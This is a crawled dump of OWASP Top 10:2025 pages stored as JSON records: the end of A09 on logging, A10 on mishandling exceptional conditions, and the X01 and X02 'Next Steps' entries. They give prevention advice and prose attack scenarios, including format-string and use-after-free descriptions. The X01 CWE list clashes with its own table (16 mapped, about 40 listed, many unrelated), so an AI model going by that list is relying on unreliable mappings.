similar.\n- Ensure all transactions that throw an error are rolled back and started over. Always fail closed.\n- If your application or its users behave suspiciously, issue an alert. Create guidance for your developers on this topic so they can code against this or buy a system for this.\n- DevSecOps and security teams should establish effective monitoring and alerting use cases including playbooks such that suspicious activities are detected and responded to quickly by the Security Operations Center (SOC) team.\n- Add ‘honeytokens’ as traps for attackers into your application e.g. into the database, data, as real and/or technical user identity. As they are not used in normal business, any access generates logging data that can be alerted with nearly no false positives.\n- Behavior analysis and AI support could be optionally an additional technique to support low rates of false positives for alerts.\n- Establish or adopt an incident response and recovery plan, such as National Institute of Standards and Technology (NIST) 800-61r2 or later. Teach your software developers what application attacks and incidents look like, so they can report them.\n\nThere are commercial and open-source application protection products such as the OWASP ModSecurity Core Rule Set, and open-source log correlation software, such as the Elasticsearch, Logstash, Kibana (ELK) stack, that feature custom dashboards and alerting that may help you combat these issues. There are also commercial observability tools that can help you respond to or block attacks in close to real-time.\n\n## Example attack scenarios.\n\n**Scenario #1:** A children's health plan provider's website operator couldn't detect a breach due to a lack of monitoring and logging. An external party informed the health plan provider that an attacker had accessed and modified thousands of sensitive health records of more than 3.5 million children. A post-incident review found that the website developers had not addressed significant vulnerabilities. As there was no logging or monitoring of the system, the data breach could have been in progress since 2013, a period of more than seven years.\n\n**Scenario #2:** A major Indian airline had a data breach involving more than ten years' worth of personal data of millions of passengers, including passport and credit card data. The data breach occurred at a third-party cloud hosting provider, who notified the airline of the breach after some time.\n\n**Scenario #3:** A major European airline suffered a GDPR reportable breach. The breach was reportedly caused by payment application security vulnerabilities exploited by attackers, who harvested more than 400,000 customer payment records. The airline was fined 20 million pounds as a result by the privacy regulator.\n\n## References.\n\n- [OWASP Proactive Controls: C9: Implement Logging and Monitoring](https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/)\n- [OWASP Application Security Verification Standard: V16 Security Logging and Error Handling](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md)\n- [OWASP Cheat Sheet: Application Logging Vocabulary](https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [Data Integrity: Recovering from Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-11/final)\n- [Data Integrity: Identifying and Protecting Assets Against Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-25/final)\n- [Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-26/final)\n- [Real world example of such failures in Snowflake Breach](https://www.huntress.com/threat-library/data-breach/snowflake-data-breach)\n\n## List of Mapped CWEs\n\n- [CWE-117 Improper Output Neutralization for Logs](https://cwe.mitre.org/data/definitions/117.html)\n- [CWE-221 Information Loss of Omission](https://cwe.mitre.org/data/definitions/221.html)\n- [CWE-223 Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)\n- [CWE-532 Insertion of Sensitive Information into Log File](https://cwe.mitre.org/data/definitions/532.html)\n- [CWE-778 Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 8433, "slov": 1167, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:41", "sha256": "308a38720d33a31d2890a8fb20760c98750dd42b223a195ed51567cbe04e374a", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md", "https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://csrc.nist.gov/publications/detail/sp/1800-11/final", "https://csrc.nist.gov/publications/detail/sp/1800-25/final", "https://csrc.nist.gov/publications/detail/sp/1800-26/final", "https://www.huntress.com/threat-library/data-breach/snowflake-data-breach", "https://cwe.mitre.org/data/definitions/117.html", "https://cwe.mitre.org/data/definitions/221.html", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/532.html", "https://cwe.mitre.org/data/definitions/778.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/A10_2025-Mishandling_of_Exceptional_Conditions/", "titulek": "A10 Mishandling of Exceptional Conditions - OWASP Top 10:2025", "h1": "A10:2025 Mishandling of Exceptional Conditions", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/A10_2025-Mishandling_of_Exceptional_Conditions/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A10:2025 Mishandling of Exceptional Conditions"}, {"uroven": 2, "text": "Background."}, {"uroven": 2, "text": "Score table."}, {"uroven": 2, "text": "Description."}, {"uroven": 2, "text": "How to prevent."}, {"uroven": 2, "text": "Example attack scenarios."}, {"uroven": 2, "text": "References."}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A10:2025 Mishandling of Exceptional Conditions\n\n## Background.\n\nMishandling of Exceptional Conditions is a new category for 2025. This category contains 24 CWEs and focuses on improper error handling, logical errors, failing open, and other related scenarios stemming from abnormal conditions and systems may encounter. This category has some CWEs that were previously associated with poor code quality. That was too general for us; in our opinion, this more specific category provides better guidance.\n\nNotable CWEs included in this category: *CWE-209 Generation of Error Message Containing Sensitive Information, CWE-234 Failure to Handle Missing Parameter, CWE-274 Improper Handling of Insufficient Privileges, CWE-476 NULL Pointer Dereference,* and *CWE-636 Not Failing Securely ('Failing Open')*.\n\n## Score table.\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Max Coverage | Avg Coverage | Avg Weighted Exploit | Avg Weighted Impact | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 24 | 20.67% | 2.95% | 100.00% | 37.95% | 7.11 | 3.81 | 769,581 | 3,416 |\n\n## Description.\n\nMishandling exceptional conditions in software happens when programs fail to prevent, detect, and respond to unusual and unpredictable situations, which leads to crashes, unexpected behavior, and sometimes vulnerabilities. This can involve one or more of the following 3 failings; the application doesn’t prevent an unusual situation from happening, it doesn’t identify the situation as it is happening, and/or it responds poorly or not at all to the situation afterwards.\n\nExceptional conditions can be caused by missing, poor, or incomplete input validation, or late, high level error handling instead at the functions where they occur, or unexpected environmental states such as memory, privilege, or network issues, inconsistent exception handling, or exceptions that are not handled at all, allowing the system to fall into an unknown and unpredictable state. Any time an application is unsure of its next instruction, an exceptional condition has been mishandled. Hard-to-find errors and exceptions can threaten the security of the whole application for a long time.\n\nMany different security vulnerabilities can happen when we mishandle exceptional conditions,\n\nsuch as logic bugs, overflows, race conditions, fraudulent transactions, or issues with memory, state, resource, timing, authentication, and authorization. These types of vulnerabilities can negatively affect the confidentiality, availability, and/or integrity of a system or it’s data. Attackers manipulate an application's flawed error handling to strike this vulnerability.\n\n## How to prevent.\n\nIn order to handle an exceptional condition properly we must plan for such situations (expect the worst). We must ‘catch’ every possible system error directly at the place where they occur and then handle it (which means do something meaningful to solve the problem and ensure we recover from the issue). As part of the handling, we should include throwing an error (to inform the user in an understandable way), logging of the event, as well as issuing an alert if we feel that is justified. We should also have a global exception handler in place in case there is ever something we have missed. Ideally, we would also have monitoring and/or observability tooling or functionality that watches for repeated errors or patterns that indicate an on-going attack, that could issue a response, defense, or blocking of some kind. This can help us block and respond to scripts and bots that focus on our error handling weaknesses.\n\nCatching and handling exceptional conditions ensures that the underlying infrastructure of our programs are not left to deal with unpredictable situations. If you are part way through a transaction of any kind, it is extremely important that you roll back every part of the transaction and start again (also known as failing closed). Attempting to recover a transaction part way through is often where we create unrecoverable mistakes.\n\nWhenever possible, add rate limiting, resource quotas, throttling, and other limits wherever possible, to prevent exceptional conditions in the first place. Nothing in information technology should be limitless, as this leads to a lack of application resilience, denial of service, successful brute force attacks, and extraordinary cloud bills.\n\nConsider whether identical repeated errors, above a certain rate, should only be outputted as statistics showing how often they have occurred and in what time frame. This information should be appended to the original message so as not to interfere with automated logging and monitoring, see [A09:2025 Security Logging & Alerting Failures](../A09_2025-Security_Logging_and_Alerting_Failures/).\n\nOn top of this, we would want to include strict input validation (with sanitization or escaping for potentially hazardous characters that we must accept), and *centralized* error handling, logging, monitoring, and alerting, and a global exception handler. One application should not multiple functions for handling exceptional conditions, it should be performed in one place, the same way each time. We should also create project security requirements for all the advice in this section, perform threat modelling and/or secure design review activities in the design phase of our projects, perform code review or static analysis, as well as execute stress, performance, and penetration testing of the final system.\n\nIf possible, your entire organization should handle exceptional conditions in the same way, as it makes it easier to review and audit code for errors in this important security control.\n\n## Example attack scenarios.\n\n**Scenario #1:** Resource exhaustion via mishandling of exceptional conditions (Denial of Service) could be caused if the application catches exceptions when files are uploaded, but doesn’t properly release resources after. Each new exception leaves resources locked or otherwise unavailable, until all resources are used up.\n\n**Scenario #2:** Sensitive data exposure via improper handling or database errors that reveals the full system error to the user. The attacker continues to force errors in order to use the sensitive system information to create a better SQL injection attack. The sensitive data in the user error messages are reconnaissance.\n\n**Scenario #3:** State corruption in financial transactions could be caused by an attacker interrupting a multi-step transaction via network disruptions. Imagine the transaction order was: debit user account, credit destination account, log transaction. If the system doesn’t properly roll back the entire transaction (fail closed) when there is an error part way through, the attacker could potentially drain the user’s account, or possibly a race condition that allows the attacker to send money to the destination multiple times.\n\n## References.\n\nOWASP MASVS‑RESILIENCE\n\n- [OWASP Cheat Sheet: Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Error Handling](https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html)\n- [OWASP Application Security Verification Standard (ASVS): V16.5 Error Handling](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md#v165-error-handling)\n- [OWASP Testing Guide: 4.8.1 Testing for Error Handling](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)\n- [Best practices for exceptions (Microsoft, .Net)](https://learn.microsoft.com/en-us/dotnet/standard/exceptions/best-practices-for-exceptions)\n- [Clean Code and the Art of Exception Handling (Toptal)](https://www.toptal.com/developers/abap/clean-code-and-the-art-of-exception-handling)\n- [General error handling rules (Google for Developers)](https://developers.google.com/tech-writing/error-messages/error-handling)\n- [Example of real-world mishandling of an exceptional condition](https://www.firstreference.com/blog/human-error-and-internal-control-failures-cause-us62m-fine/)\n\n## List of Mapped CWEs\n\n- [CWE-209 Generation of Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/209.html)\n- [CWE-215 Insertion of Sensitive Information Into Debugging Code](https://cwe.mitre.org/data/definitions/215.html)\n- [CWE-234 Failure to Handle Missing Parameter](https://cwe.mitre.org/data/definitions/234.html)\n- [CWE-235 Improper Handling of Extra Parameters](https://cwe.mitre.org/data/definitions/235.html)\n- [CWE-248 Uncaught Exception](https://cwe.mitre.org/data/definitions/248.html)\n- [CWE-252 Unchecked Return Value](https://cwe.mitre.org/data/definitions/252.html)\n- [CWE-274 Improper Handling of Insufficient Privileges](https://cwe.mitre.org/data/definitions/274.html)\n- [CWE-280 Improper Handling of Insufficient Permissions or Privileges](https://cwe.mitre.org/data/definitions/280.html)\n- [CWE-369 Divide By Zero](https://cwe.mitre.org/data/definitions/369.html)\n- [CWE-390 Detection of Error Condition Without Action](https://cwe.mitre.org/data/definitions/390.html)\n- [CWE-391 Unchecked Error Condition](https://cwe.mitre.org/data/definitions/391.html)\n- [CWE-394 Unexpected Status Code or Return Value](https://cwe.mitre.org/data/definitions/394.html)\n- [CWE-396 Declaration of Catch for Generic Exception](https://cwe.mitre.org/data/definitions/396.html)\n- [CWE-397 Declaration of Throws for Generic Exception](https://cwe.mitre.org/data/definitions/397.html)\n- [CWE-460 Improper Cleanup on Thrown Exception](https://cwe.mitre.org/data/definitions/460.html)\n- [CWE-476 NULL Pointer Dereference](https://cwe.mitre.org/data/definitions/476.html)\n- [CWE-478 Missing Default Case in Multiple Condition Expression](https://cwe.mitre.org/data/definitions/478.html)\n- [CWE-484 Omitted Break Statement in Switch](https://cwe.mitre.org/data/definitions/484.html)\n- [CWE-550 Server-generated Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/550.html)\n- [CWE-636 Not Failing Securely ('Failing Open')](https://cwe.mitre.org/data/definitions/636.html)\n- [CWE-703 Improper Check or Handling of Exceptional Conditions](https://cwe.mitre.org/data/definitions/703.html)\n- [CWE-754 Improper Check for Unusual or Exceptional Conditions](https://cwe.mitre.org/data/definitions/754.html)\n- [CWE-755 Improper Handling of Exceptional Conditions](https://cwe.mitre.org/data/definitions/755.html)\n- [CWE-756 Missing Custom Error Page](https://cwe.mitre.org/data/definitions/756.html)", "znaku_textu": 10479, "slov": 1291, "odkazu": 67, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:42", "sha256": "5796fc32df8efb1adae316dca9c7c4852ecff82b0ebc1c5ae45b4c9ac52549be", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md", "https://learn.microsoft.com/en-us/dotnet/standard/exceptions/best-practices-for-exceptions", "https://www.toptal.com/developers/abap/clean-code-and-the-art-of-exception-handling", "https://developers.google.com/tech-writing/error-messages/error-handling", "https://www.firstreference.com/blog/human-error-and-internal-control-failures-cause-us62m-fine/", "https://cwe.mitre.org/data/definitions/209.html", "https://cwe.mitre.org/data/definitions/215.html", "https://cwe.mitre.org/data/definitions/234.html", "https://cwe.mitre.org/data/definitions/235.html", "https://cwe.mitre.org/data/definitions/248.html", "https://cwe.mitre.org/data/definitions/252.html", "https://cwe.mitre.org/data/definitions/274.html", "https://cwe.mitre.org/data/definitions/280.html", "https://cwe.mitre.org/data/definitions/369.html", "https://cwe.mitre.org/data/definitions/390.html", "https://cwe.mitre.org/data/definitions/391.html", "https://cwe.mitre.org/data/definitions/394.html", "https://cwe.mitre.org/data/definitions/396.html", "https://cwe.mitre.org/data/definitions/397.html", "https://cwe.mitre.org/data/definitions/460.html", "https://cwe.mitre.org/data/definitions/476.html", "https://cwe.mitre.org/data/definitions/478.html", "https://cwe.mitre.org/data/definitions/484.html", "https://cwe.mitre.org/data/definitions/550.html", "https://cwe.mitre.org/data/definitions/636.html", "https://cwe.mitre.org/data/definitions/703.html", "https://cwe.mitre.org/data/definitions/754.html", "https://cwe.mitre.org/data/definitions/755.html", "https://cwe.mitre.org/data/definitions/756.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/X01_2025-Next_Steps/", "titulek": "Next Steps - OWASP Top 10:2025", "h1": "Next Steps", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/X01_2025-Next_Steps/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Next Steps"}, {"uroven": 2, "text": "X01:2025 Lack of Application Resilience"}, {"uroven": 3, "text": "Background."}, {"uroven": 3, "text": "Score table."}, {"uroven": 3, "text": "Description."}, {"uroven": 3, "text": "How to prevent"}, {"uroven": 3, "text": "Example attack scenarios."}, {"uroven": 3, "text": "References."}, {"uroven": 3, "text": "List of Mapped CWEs"}, {"uroven": 2, "text": "X02:2025 Memory Management Failures"}, {"uroven": 3, "text": "Background."}, {"uroven": 3, "text": "Score table."}, {"uroven": 3, "text": "Description."}, {"uroven": 3, "text": "How to prevent."}, {"uroven": 3, "text": "Example attack scenarios."}, {"uroven": 3, "text": "References."}, {"uroven": 3, "text": "List of Mapped CWEs"}, {"uroven": 2, "text": "X03:2025 Inappropriate Trust in AI Generated Code ('Vibe Coding')"}, {"uroven": 3, "text": "Background."}, {"uroven": 3, "text": "Description."}, {"uroven": 3, "text": "How to prevent."}, {"uroven": 3, "text": "References."}, {"uroven": 3, "text": "List of Mapped CWEs"}], "markdown": "# Next Steps\n\nBy design, the OWASP Top 10 is innately limited to the ten most significant risks. Every OWASP Top 10 has “on the cusp” risks considered at length for inclusion, but in the end, didn't make the cut. The other risks were more prevalent and impactful.\n\nThe following three issues are well worth the effort to identify and remediate, organizations working towards a mature appsec program, security consultancies, or tool vendors wishing to expand coverage for their offerings.\n\n## X01:2025 Lack of Application Resilience\n\n### Background.\n\nThis is a renaming of 2021’s Denial of Service. That was renamed as it described a symptom rather than a root cause. This category focuses on CWEs that describe weaknesses that are related to resilience issues. The scoring of this category was very close with A10:2025-Mishandling of Exceptional Conditions. Relevant CWEs include: *CWE-400 Uncontrolled Resource Consumption, CWE-409 Improper Handling of Highly Compressed Data (Data Amplification), CWE-674 Uncontrolled Recursion*, and *CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop').*\n\n### Score table.\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Max Coverage | Avg Coverage | Avg Weighted Exploit | Avg Weighted Impact | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 16 | 20.05% | 4.55% | 86.01% | 41.47% | 7.92 | 3.49 | 865,066 | 4,423 |\n\n### Description.\n\nThis category represents a systemic weakness in how applications respond to stress, failures, and edge cases that it is unable to recover from failure. When an application does not gracefully handle, withstand, or recover from unexpected conditions, resource constraints, and other adverse events it can easily result in availability issues (most commonly), but also data corruption, sensitive data disclosure, cascading failures, and/or bypasses of security controls.\n\nFurthermore X02:2025 Memory Management Failures can also lead to failure of the application or even the entire system.\n\n### How to prevent\n\nIn order to prevent this type of vulnerability you must design for failure and recovery of your systems.\n\n- Add limits, quotas, and failover functionality, paying special attention to the most resource consuming operations\n- Identify resource intensive pages and plan ahead: Reduce attack surface especially not exposing unneeded ‘gadgets’ and functions that require a lot of resources (e.g. CPU, memory) to unknown or untrusted users\n- Perform strict input validation with allow-lists and size limitations, then test thoroughly\n- Limit response sizes, and never send raw responses back to the client (process on the server side)\n- Default to safe/closed (never open), deny by default and roll back if there’s an error\n- Avoid blocking synchronous calls in request threads (use asynchronous/non-blocking, have timeouts, have concurrency limits, etc.)\n- Carefully test your error handling functionality\n- Implement resilience patterns such as circuit breakers, bulkheads, retry logic, and graceful degradation\n- Do performance and load testing; add chaos engineering if you have the risk appetite for it\n- Implement and architect for redundancy where reasonable and affordable\n- Implement monitoring, observability, and alerting\n- Filter invalid sender addresses in accordance with RFC 2267\n- Block known botnets by finger prints, IPs, or dynamically by behavior\n- Proof-of-Work: initiate resource consuming operations at the *attackers* side that does not have big impacts on normal users but impacts bots trying to send a huge amount of requests. Make the Proof-of-Work more difficult if the general load of the system raises, especially for systems that are less trustworthy or appear to be bots\n- Limit server side session time based on inactivity and a final timeout\n- Limit session bound information storage\n\n### Example attack scenarios.\n\n**Scenario #1:** Attackers intentionally consume application resources to trigger failures within the system, resulting in denial of service. This could be memory exhaustion, filling up disk space, CPU saturation, or opening endless connections.\n\n**Scenario #2:** Input fuzzing that leads to crafted responses that break application business logic.\n\n**Scenario #3:** Attackers focus on the application’s dependencies, taking down APIs or other external services, and the application is unable to continue.\n\n### References.\n\n- [OWASP Cheat Sheet: Denial of Service](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)\n- [OWASP MASVS‑RESILIENCE](https://mas.owasp.org/MASVS/11-MASVS-RESILIENCE/)\n- [ASP.NET Core Best Practices (Microsoft)](https://learn.microsoft.com/en-us/aspnet/core/fundamentals/best-practices?view=aspnetcore-9.0)\n- [Resilience in Microservices: Bulkhead vs Circuit Breaker (Parser)](https://medium.com/@parserdigital/resilience-in-microservices-bulkhead-vs-circuit-breaker-54364c1f9d53)\n- [Bulkhead Pattern (Geeks for Geeks)](https://www.geeksforgeeks.org/system-design/bulkhead-pattern/)\n- [NIST Cybersecurity Framework (CSF)](https://www.nist.gov/cyberframework)\n- [Avoid Blocking Calls: Go Async in Java (Devlane)](https://www.devlane.com/blog/avoid-blocking-calls-go-async-in-java)\n\n### List of Mapped CWEs\n\n- [CWE-73 External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n- [CWE-183 Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [CWE-256 Plaintext Storage of a Password](https://cwe.mitre.org/data/definitions/256.html)\n- [CWE-266 Incorrect Privilege Assignment](https://cwe.mitre.org/data/definitions/266.html)\n- [CWE-269 Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html)\n- [CWE-286 Incorrect User Management](https://cwe.mitre.org/data/definitions/286.html)\n- [CWE-311 Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n- [CWE-312 Cleartext Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/312.html)\n- [CWE-313 Cleartext Storage in a File or on Disk](https://cwe.mitre.org/data/definitions/313.html)\n- [CWE-316 Cleartext Storage of Sensitive Information in Memory](https://cwe.mitre.org/data/definitions/316.html)\n- [CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')](https://cwe.mitre.org/data/definitions/362.html)\n- [CWE-382 J2EE Bad Practices: Use of System.exit()](https://cwe.mitre.org/data/definitions/382.html)\n- [CWE-419 Unprotected Primary Channel](https://cwe.mitre.org/data/definitions/419.html)\n- [CWE-434 Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)\n- [CWE-436 Interpretation Conflict](https://cwe.mitre.org/data/definitions/436.html)\n- [CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')](https://cwe.mitre.org/data/definitions/444.html)\n- [CWE-451 User Interface (UI) Misrepresentation of Critical Information](https://cwe.mitre.org/data/definitions/451.html)\n- [CWE-454 External Initialization of Trusted Variables or Data Stores](https://cwe.mitre.org/data/definitions/454.html)\n- [CWE-472 External Control of Assumed-Immutable Web Parameter](https://cwe.mitre.org/data/definitions/472.html)\n- [CWE-501 Trust Boundary Violation](https://cwe.mitre.org/data/definitions/501.html)\n- [CWE-522 Insufficiently Protected Credentials](https://cwe.mitre.org/data/definitions/522.html)\n- [CWE-525 Use of Web Browser Cache Containing Sensitive Information](https://cwe.mitre.org/data/definitions/525.html)\n- [CWE-539 Use of Persistent Cookies Containing Sensitive Information](https://cwe.mitre.org/data/definitions/539.html)\n- [CWE-598 Use of GET Request Method With Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html)\n- [CWE-602 Client-Side Enforcement of Server-Side Security](https://cwe.mitre.org/data/definitions/602.html)\n- [CWE-628 Function Call with Incorrectly Specified Arguments](https://cwe.mitre.org/data/definitions/628.html)\n- [CWE-642 External Control of Critical State Data](https://cwe.mitre.org/data/definitions/642.html)\n- [CWE-646 Reliance on File Name or Extension of Externally-Supplied File](https://cwe.mitre.org/data/definitions/646.html)\n- [CWE-653 Improper Isolation or Compartmentalization](https://cwe.mitre.org/data/definitions/653.html)\n- [CWE-656 Reliance on Security Through Obscurity](https://cwe.mitre.org/data/definitions/656.html)\n- [CWE-657 Violation of Secure Design Principles](https://cwe.mitre.org/data/definitions/657.html)\n- [CWE-676 Use of Potentially Dangerous Function](https://cwe.mitre.org/data/definitions/676.html)\n- [CWE-693 Protection Mechanism Failure](https://cwe.mitre.org/data/definitions/693.html)\n- [CWE-799 Improper Control of Interaction Frequency](https://cwe.mitre.org/data/definitions/799.html)\n- [CWE-807 Reliance on Untrusted Inputs in a Security Decision](https://cwe.mitre.org/data/definitions/807.html)\n- [CWE-841 Improper Enforcement of Behavioral Workflow](https://cwe.mitre.org/data/definitions/841.html)\n- [CWE-1021 Improper Restriction of Rendered UI Layers or Frames](https://cwe.mitre.org/data/definitions/1021.html)\n- [CWE-1022 Use of Web Link to Untrusted Target with window.opener Access](https://cwe.mitre.org/data/definitions/1022.html)\n- [CWE-1125 Excessive Attack Surface](https://cwe.mitre.org/data/definitions/1125.html)\n\n## X02:2025 Memory Management Failures\n\n### Background.\n\nLanguagess like Java, C#, JavaScript/TypeScript (node.js), Go, and \"safe\" Rust are memory safe. Memory management problems tend to happen in non-memory safe languages such as C and C++. This category scored the lowest on the community survey and low in the data despite having the third most related CVEs. We believe this is due to the predominance of web applications over more traditional desktop applications. Memory management vulnerabilities frequently have the highest CVSS scores.\n\n### Score table.\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Max Coverage | Avg Coverage | Avg Weighted Exploit | Avg Weighted Impact | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 24 | 2.96% | 1.13% | 55.62% | 28.45% | 6.75 | 4.82 | 220,414 | 30,978 |\n\n### Description.\n\nWhen an application is forced to manage memory itself, it is very easy to make mistakes. Memory safe languages are being used more often, but there are still many legacy systems in production worldwide, new low-level systems that require the use of non-memory safe languages, and web applications that interact with mainframes, IoT devices, firmware, and other systems that may be forced to manage their own memory. Representative CWEs are *CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')* and *CWE-121 Stack-based Buffer Overflow*.\n\nMemory management failures can happen when:\n\n- You do not allocate enough memory for a variable\n- You do not validate input, causing an overflow of the heap, the stack, a buffer\n- You store a data value that is larger than the type of the variable can hold\n- You attempt to use unallocated memory or address spaces\n- You create off-by-one errors (counting from 1 instead of zero)\n- You try to access an object after its been freed\n- You use uninitialized variables\n- You leak memory or otherwise use up all available memory in error until our application fails\n\nMemory management failures can lead to failure of the application or even the entire system, see also X01:2025 Lack of Application Resilience\n\n### How to prevent.\n\nThe best way to prevent memory management failures is to use a memory-safe language. Examples include Rust, Java, Go, C#, Python, Swift, Kotlin, JavaScript, etc. When creating new applications, try hard to convince your organization that it is worth the learning curve to switch to a memory-safe language. If performing a full refactor, push for a rewrite in a memory-safe language when it is possible and feasible.\n\nIf you are unable to use a memory-safe language, perform the following:\n\n- Enable the following server features that make memory management errors harder to exploit: address space layout randomization (ASLR), Data Execution Protection (DEP), and Structured Exception Handling Overwrite Protection (SEHOP).\n- Monitor your application for memory leaks.\n- Validate all input to your system very carefully, and reject all input that does not meet expectations.\n- Study the language you are using and make a list of unsafe and more-safe functions, then share that list with your entire team. If possible, add it to your secure coding guideline or standard. For example, in C, prefer strncpy() over strcpy() and strncat() over strcat().\n- If your language or framework offers memory safety libraries, use them. For example: Safestringlib or SafeStr.\n- Use managed buffers and strings rather than raw arrays and pointers whenever possible.\n- Take secure coding training that focuses on memory issues and/or your language of choice. Inform your trainer that you are concerned about memory management failures.\n- Perform code reviews and/or static analyses.\n- Use compiler tools that help with memory management such as StackShield, StackGuard, and Libsafe.\n- Perform fuzzing on every input to your system.\n- If you have a penetration test performed, inform your tester that you are concerned about memory management failures and that you would like them to pay special attention to this while testing.\n- Fix all compiler errors *and* warnings. Do not ignore warnings because your program compiles.\n- Ensure your underlying infrastructure is regularly patched, scanned, and hardened.\n- Monitor your underlying infrastructure specifically for potential memory vulnerabilities and other failures.\n- Consider using [canaries](https://en.wikipedia.org/wiki/Buffer_overflow_protection#Canaries) to protect your address stack from overflow attacks.\n\n### Example attack scenarios.\n\n**Scenario #1:** Buffer overflows are the most famous memory vulnerability, a situation where an attacker submits more information into a field than it can accept, such that it overflows the buffer created for the underlying variable. In a successful attack, the overflow characters overwrite the stack pointer, allowing the attacker to insert malicious instructions into your program.\n\n**Scenario #2:** Use-After-Free (UAF) happens often enough that it’s a semi-common browser bug bounty submission. Imagine a web browser processing JavaScript that manipulates DOM elements. The attacker crafts a JavaScript payload that creates an object (such as a DOM element) and obtains references to it. Through careful manipulation, they trigger the browser to free the object's memory while keeping a dangling pointer to it. Before the browser realizes the memory has been freed, the attacker allocates a new object that occupies the *same* memory space. When the browser tries to use the original pointer, it now points to attacker-controlled data. If this pointer was for a virtual function table, the attacker can redirect code execution to their payload.\n\n**Scenario #3:** A network service that accepts user input, doesn’t properly validate or sanitize it, then passes it directly to the logging function. The input from the user is passed to the logging function as syslog(user_input) instead of syslog(\"%s\", user_input), which doesn’t specify the format. The attacker sends malicious payloads containing format specifiers such as %x to read stack memory (sensitive data disclosure) or %n to write to memory addresses. By chaining together multiple format specifiers they could map out the stack, locate important addresses, and then overwrite them. This would be a Format string vulnerability (uncontrolled string format).\n\nNote: modern browsers use many levels of defenses to defend against such attacks, including [browser sandboxing](https://www.geeksforgeeks.org/ethical-hacking/what-is-browser-sandboxing/#types-of-browser-sandboxing) ASLR, DEP/NX, RELRO, and PIE. A memory management failure attack on a browser is not a simple attack to carry out.\n\n### References.\n\n- [OWASP community pages: Memory leak,](https://owasp.org/www-community/vulnerabilities/Memory_leak) [Doubly freeing memory,](https://owasp.org/www-community/vulnerabilities/Doubly_freeing_memory) [& Buffer Overflow](https://owasp.org/www-community/vulnerabilities/Buffer_Overflow)\n- [Awesome Fuzzing: a list of fuzzing 